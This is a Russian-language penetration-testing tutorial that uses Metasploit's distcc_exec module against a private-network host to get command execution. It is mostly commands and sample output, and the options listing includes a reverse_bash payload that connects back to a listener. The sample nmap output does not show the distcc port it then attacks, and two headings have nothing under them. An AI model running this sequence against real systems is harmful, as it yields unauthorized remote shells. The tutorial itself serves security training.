Проведение пентеста (проверки на проникновение)
Принцип уязвимости службы Distcc:
Distcc используется для распределенной компиляции больших кодовых баз на сетевых серверах. Однако при неправильной настройке эта служба может быть использована злоумышленниками для выполнения команд. Эта уязвимость присутствует в XCode 1.5 и других версиях Distcc 2.x из-за отсутствия ограничений доступа к порту сервера.
Простыми словами, служба не выполняет надлежащие проверки портов и выполняемых задач, что позволяет атакующим использовать распределенные задачи компиляции для выполнения собственных команд.
Индексы уязвимостей:
Код модуля атаки на уязвимость:
Сначала запустите msfconsole, чтобы войти в интерфейс управления:
cd ~
msfconsole
Используйте инструмент сканирования Nmap для сканирования целевого хоста на открытые порты:
nmap -sV -T4 192.168.122.102
Вот пример того, как может выглядеть вывод:
[*] exec: nmap -sV -T4 192.168.122.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp open domain ISC BIND 9.4.2
111/tcp open rpcbind 2 (RPC #100000)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds
На основе результатов сканирования найдите модуль, соответствующий портовой службе, на которую вы хотите совершить атаку:
search distcc
В терминале Kali MSF используйте команду use
для выбора соответствующего модуля:
use exploit/unix/misc/distcc_exec
Затем используйте команду show options
, чтобы отобразить параметры модуля:
show options
Вот пример того, как может выглядеть вывод:
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
it.html
RPORT 3632 yes The target port (TCP)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.28.140.88 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
Установите параметр целевого хоста RHOST равным 192.168.122.102
set RHOST 192.168.122.102
После того, как все параметры настроены, используйте команду exploit
для атаки на хост:
exploit
Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку